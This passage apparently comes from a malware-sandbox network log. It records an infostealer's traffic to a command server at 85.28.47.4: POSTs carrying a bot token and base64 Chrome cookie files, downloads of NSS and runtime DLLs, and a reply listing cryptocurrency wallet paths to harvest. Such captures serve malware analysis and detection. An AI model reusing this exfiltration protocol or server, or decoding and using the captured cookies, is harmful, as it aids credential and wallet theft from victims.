44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------GDBAKEGIDBGIEBFHDHJJ--
Jun 28, 2024 13:36:01.057476997 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 28, 2024 13:36:01.143697023 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHD Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b [TRUNCATED] Data Ascii: ------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="file"------FBKEHJEGCFBFHJJKJEHD--
Jun 28, 2024 13:36:01.868834972 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 28, 2024 13:36:02.438541889 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAKJJECAEGCBGDHDHC Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 [TRUNCATED] Data Ascii: ------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="file"------AECAKJJECAEGCBGDHDHC--
Jun 28, 2024 13:36:03.152873039 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 28, 2024 13:36:03.445872068 CEST	89	OUT	GET /69934896f997d5bb/freebl3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 28, 2024 13:36:03.813365936 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jun 28, 2024 13:36:04.464858055 CEST	89	OUT	GET /69934896f997d5bb/mozglue.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 28, 2024 13:36:05.537506104 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jun 28, 2024 13:36:05.545646906 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jun 28, 2024 13:36:05.545656919 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jun 28, 2024 13:36:05.638721943 CEST	90	OUT	GET /69934896f997d5bb/msvcp140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 28, 2024 13:36:05.818239927 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jun 28, 2024 13:36:06.147114992 CEST	86	OUT	GET /69934896f997d5bb/nss3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 28, 2024 13:36:06.332278013 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jun 28, 2024 13:36:07.821953058 CEST	90	OUT	GET /69934896f997d5bb/softokn3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 28, 2024 13:36:08.000051022 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jun 28, 2024 13:36:08.157217979 CEST	94	OUT	GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 28, 2024 13:36:08.339167118 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jun 28, 2024 13:36:08.902662992 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBG Host: 85.28.47.4 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jun 28, 2024 13:36:09.739646912 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 28, 2024 13:36:09.778753042 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJECFHCBKKEBAKFIJDHI Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 2d 2d 0d 0a Data Ascii: ------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="message"wallets------KJECFHCBKKEBAKFIJDHI--
Jun 28, 2024 13:36:09.959443092 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 